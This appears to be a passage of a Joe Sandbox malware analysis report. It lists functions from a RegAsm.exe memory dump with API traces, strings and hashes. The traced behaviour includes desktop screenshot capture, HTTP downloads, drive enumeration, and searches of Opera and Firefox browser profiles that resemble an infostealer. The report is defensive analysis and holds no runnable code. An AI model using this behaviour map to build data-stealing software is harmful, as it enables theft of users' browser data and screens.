Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileH_prolog3_catchH_prolog3_catch_InitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$WQL
API String ID: 2280294774-461178377
Opcode ID: c0eb11b5ee436968efa1db024099a12e82d4b95c474fb4b1889a75565c543515
Instruction ID: 9306796a99560fb33f0370de2d740fe648c40d1cf9c9c5eb00c71453775374cf
Opcode Fuzzy Hash: c0eb11b5ee436968efa1db024099a12e82d4b95c474fb4b1889a75565c543515
Instruction Fuzzy Hash: CD418D71900209BBCB10DBD5DC89EEFBBBDEFC9B11F20410AF211E6190D6799941CB28

Function 00406963 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 161networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
StrCmpCA.SHLWAPI(?), ref: 004069DF
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC
InternetReadFile.WININET(?,?,000007CF,?), ref: 00406B40
InternetCloseHandle.WININET(?), ref: 00406B50
InternetCloseHandle.WININET(?), ref: 00406B5C
InternetCloseHandle.WININET(?), ref: 00406B68

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Strings

ERROR, xrefs: 00406AB6
GET, xrefs: 00406A42
ERROR, xrefs: 00406BAB

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$OpenRequestlstrlen$ConnectCrackFileInfoOptionQueryReadSendlstrcat
String ID: ERROR$ERROR$GET
API String ID: 3863758870-2509457195
Opcode ID: 6171e3ca419f1e9bcfc170fad71cd8d4656422f88bc7417012de5f56f6f9547b
Instruction ID: bb4040bcd68c85501e469f0edee38108df75f90e77bbd350ac247b3d876c4702
Opcode Fuzzy Hash: 6171e3ca419f1e9bcfc170fad71cd8d4656422f88bc7417012de5f56f6f9547b
Instruction Fuzzy Hash: 91519EB1A00169AFDF20EB60DC85AEEB7B9FB04344F0180F6F549B2190DA755EC59F94

Function 00411F55 Relevance: 24.1, APIs: 16, Instructions: 147windowCOMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00411F96
GetDesktopWindow.USER32 ref: 00411FA4
GetWindowRect.USER32(00000000,?), ref: 00411FB1
GetDC.USER32(00000000), ref: 00411FB8
CreateCompatibleDC.GDI32(00000000), ref: 00411FC1
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00411FD1
SelectObject.GDI32(?,00000000), ref: 00411FDE
BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 00411FFA
GetHGlobalFromStream.COMBASE(?,?), ref: 00412049
GlobalLock.KERNEL32(?), ref: 00412052
GlobalSize.KERNEL32(?), ref: 0041205E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00405482: lstrlenA.KERNEL32(?), ref: 00405519
Part of subcall function 00405482: StrCmpCA.SHLWAPI(?,00436982,0043697F,0043697E,00436973), ref: 00405588
Part of subcall function 00405482: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA

SelectObject.GDI32(?,?), ref: 004120BC
DeleteObject.GDI32(?), ref: 004120D7
DeleteObject.GDI32(?), ref: 004120E0
ReleaseDC.USER32(00000000,00000000), ref: 004120E8
CloseWindow.USER32(00000000), ref: 004120EF

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: GlobalObject$CreateWindow$CompatibleDeleteSelectStreamlstrcpy$BitmapCloseDesktopFromInternetLockOpenRectReleaseSizelstrlen
String ID:
API String ID: 2610876673-0
Opcode ID: 2f03e383a5c0d785367292fdecadebf89992f7ac8ba0b18ad9d360e758d66a88
Instruction ID: 00722b0fd45776afd759679ccd3a1a7a6ce102eef846c08e099e3bb1de5592fc
Opcode Fuzzy Hash: 2f03e383a5c0d785367292fdecadebf89992f7ac8ba0b18ad9d360e758d66a88
Instruction Fuzzy Hash: 8451EA72900218AFDF15EFA1ED498EEBFBAFF08315F045425F901E2120E7369A55DB61

Function 00415406 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 140stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00415433
FindFirstFileA.KERNEL32(?,?), ref: 0041544A
StrCmpCA.SHLWAPI(?,00436A78), ref: 0041546B
StrCmpCA.SHLWAPI(?,00436A7C), ref: 00415485
lstrcatA.KERNEL32(?), ref: 004154D6
lstrcatA.KERNEL32(?), ref: 004154E9
lstrcatA.KERNEL32(?,?), ref: 004154FD
lstrcatA.KERNEL32(?,?), ref: 00415510
lstrcatA.KERNEL32(?,00436A80), ref: 00415522
lstrcatA.KERNEL32(?,?), ref: 00415536

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416E60: CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
Part of subcall function 00416E60: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

FindNextFileA.KERNEL32(?,?), ref: 004155EC
FindClose.KERNEL32(?), ref: 00415600

Strings

%s\%s, xrefs: 00415427

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 1150833511-4073750446
Opcode ID: 950e748add10b56019b716e3e17e2d78282fafab6a2b0565a7a312f115b1aa57
Instruction ID: 1b8820ae2a53e2d1c5371ccfb362d69c41e3a58b2797d9f0c433b52c96bff2bc
Opcode Fuzzy Hash: 950e748add10b56019b716e3e17e2d78282fafab6a2b0565a7a312f115b1aa57
Instruction Fuzzy Hash: 33514FB190021C9BCF64DF60CC89AC9B7BDEB49305F1044E6E609E3250EB369B85CF65

Function 0040BF4D Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 420fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,\*.*,0043682A,0040CC6B,?,?), ref: 0040BFC5
StrCmpCA.SHLWAPI(?,00437468), ref: 0040BFE5
StrCmpCA.SHLWAPI(?,0043746C), ref: 0040BFFF
StrCmpCA.SHLWAPI(?,Opera,0043683F,0043683E,0043683B,0043683A,0043682F,0043682E,0043682B), ref: 0040C08B
StrCmpCA.SHLWAPI(?,Opera GX), ref: 0040C099
StrCmpCA.SHLWAPI(?,Opera Crypto), ref: 0040C0A7

Strings

Opera GX, xrefs: 0040C091
Opera Crypto, xrefs: 0040C09F
\*.*, xrefs: 0040BF73
Opera, xrefs: 0040C083

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Opera$Opera Crypto$Opera GX$\*.*
API String ID: 2567437900-1710495004
Opcode ID: e258de7ccfbc88b05f5c81bac4ff2d3afe5409b36e155eb4ecc11438824dd699
Instruction ID: 43a180df3a40888611b9bc63fd138cfc61139bc166fa6bbd32faf21f9be861c8
Opcode Fuzzy Hash: e258de7ccfbc88b05f5c81bac4ff2d3afe5409b36e155eb4ecc11438824dd699
Instruction Fuzzy Hash: 0A021C71A401299BCF21FB26DD466CD7775AF14308F4111EAB948B3192DBB86FC98F88

Function 0041510B Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 146stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 0041518B
_memset.LIBCMT ref: 004151AE
GetDriveTypeA.KERNEL32(?), ref: 004151B7
lstrcpyA.KERNEL32(?,?), ref: 004151D7
lstrcpyA.KERNEL32(?,?), ref: 004151F2

Part of subcall function 00414C91: wsprintfA.USER32 ref: 00414CE5
Part of subcall function 00414C91: FindFirstFileA.KERNEL32(?,?), ref: 00414CFC
Part of subcall function 00414C91: _memset.LIBCMT ref: 00414D18
Part of subcall function 00414C91: _memset.LIBCMT ref: 00414D29
Part of subcall function 00414C91: StrCmpCA.SHLWAPI(?,004369F0), ref: 00414D4A
Part of subcall function 00414C91: StrCmpCA.SHLWAPI(?,004369F4), ref: 00414D64
Part of subcall function 00414C91: wsprintfA.USER32 ref: 00414D8B
Part of subcall function 00414C91: StrCmpCA.SHLWAPI(?,0043660F), ref: 00414D9F
Part of subcall function 00414C91: wsprintfA.USER32 ref: 00414DC8
Part of subcall function 00414C91: _memset.LIBCMT ref: 00414DF1
Part of subcall function 00414C91: lstrcatA.KERNEL32(?,?), ref: 00414E06

lstrcpyA.KERNEL32(?,00000000), ref: 00415213
lstrlenA.KERNEL32(?), ref: 0041528D

Strings

%DRIVE_FIXED%, xrefs: 004151F9
*%DRIVE_REMOVABLE%*, xrefs: 00415158
%DRIVE_REMOVABLE%, xrefs: 004151DE
*%DRIVE_FIXED%*, xrefs: 00415127

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memset$lstrcpywsprintf$Drive$FileFindFirstLogicalStringsTypelstrcatlstrlen
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 441469471-147700698
Opcode ID: f70cf054bfd7bd7e94db886a0c78c7f8cbac8e648d4c2e9bfbea61fcf2319709
Instruction ID: 33988f82ecf00ecfecbf54fa49c5e198ae7918e1112ab762dfb202f2d3925810
Opcode Fuzzy Hash: f70cf054bfd7bd7e94db886a0c78c7f8cbac8e648d4c2e9bfbea61fcf2319709
Instruction Fuzzy Hash: 6C512BB190021CEFDF219FA5CC85BDD7BB9FB09344F1040AAEA48A6111EB355E89CF59

Function 00401D80 Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 529fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

FindFirstFileA.KERNEL32(?,?,0043A9A4,0043A9A8,004369F7,004369F3,004178D1,?,00000000), ref: 00401FA4
StrCmpCA.SHLWAPI(?,0043A9AC), ref: 00401FD7
StrCmpCA.SHLWAPI(?,0043A9B0), ref: 00401FF1
FindFirstFileA.KERNEL32(?,?,0043A9B4,0043A9B8,?,0043A9BC,004369FE), ref: 004020DD

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

FindNextFileA.KERNEL32(?,?), ref: 004023A2
FindClose.KERNEL32(?), ref: 004023B6
FindNextFileA.KERNEL32(?,?), ref: 004026C6
FindClose.KERNEL32(?), ref: 004026DA

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00416E60: CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
Part of subcall function 00416E60: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416E60: Sleep.KERNEL32(000003E8,?,?), ref: 00416EC7

Strings

\*.*, xrefs: 00401E9E

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Find$lstrcpy$Close$CreateFirstNextlstrcat$AllocAttributesFolderHandleLocalObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 1116797323-1173974218
Opcode ID: a8bf6b8a1bbf949445419f740e838100d6b56cbc23c90292a132eddbfa0ac242
Instruction ID: ed5af609bec326d0062dbff95383bd39b1ead299d8f4602d20846ca86c3f1f11
Opcode Fuzzy Hash: a8bf6b8a1bbf949445419f740e838100d6b56cbc23c90292a132eddbfa0ac242
Instruction Fuzzy Hash: A232FD71A401299BCF21FB25DD4A6CD7375AF04308F5110EAB548B71A1DBB86FC98F98

Function 0040D5C6 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 229fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437568,004368A7,?,?,?), ref: 0040D647
StrCmpCA.SHLWAPI(?,0043756C), ref: 0040D668
StrCmpCA.SHLWAPI(?,00437570), ref: 0040D682
StrCmpCA.SHLWAPI(?,prefs.js,00437574,?,004368AA), ref: 0040D70E

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

CopyFileA.KERNEL32(?,?,00000001,00437584,004368AB), ref: 0040D7E8
DeleteFileA.KERNEL32(?), ref: 0040D8B3
FindNextFileA.KERNELBASE(?,?), ref: 0040D956
FindClose.KERNEL32(?), ref: 0040D96A

Strings

prefs.js, xrefs: 0040D702

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextSystemTimelstrlen
String ID: prefs.js
API String ID: 893096357-3783873740
Opcode ID: 634b7fc9e1e4146c0777374abaf4df2ac2920775f24ce2ea54d16a3fec128fc6
Instruction ID: f0de32090b7dce6908d980c7617605791c8f857f036f1e47a574a7a376f50030
Opcode Fuzzy Hash: 634b7fc9e1e4146c0777374abaf4df2ac2920775f24ce2ea54d16a3fec128fc6
Instruction Fuzzy Hash: F7A11C71D002289BDF60FB65DD46BCD7375AF04318F4101EAA808B7292DB79AEC98F95

Function 0040B5DF Relevance: 13.7, APIs: 9, Instructions: 217fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,0043741C,0043681E,?,?,?), ref: 0040B657
StrCmpCA.SHLWAPI(?,00437420), ref: 0040B678
StrCmpCA.SHLWAPI(?,00437424), ref: 0040B692
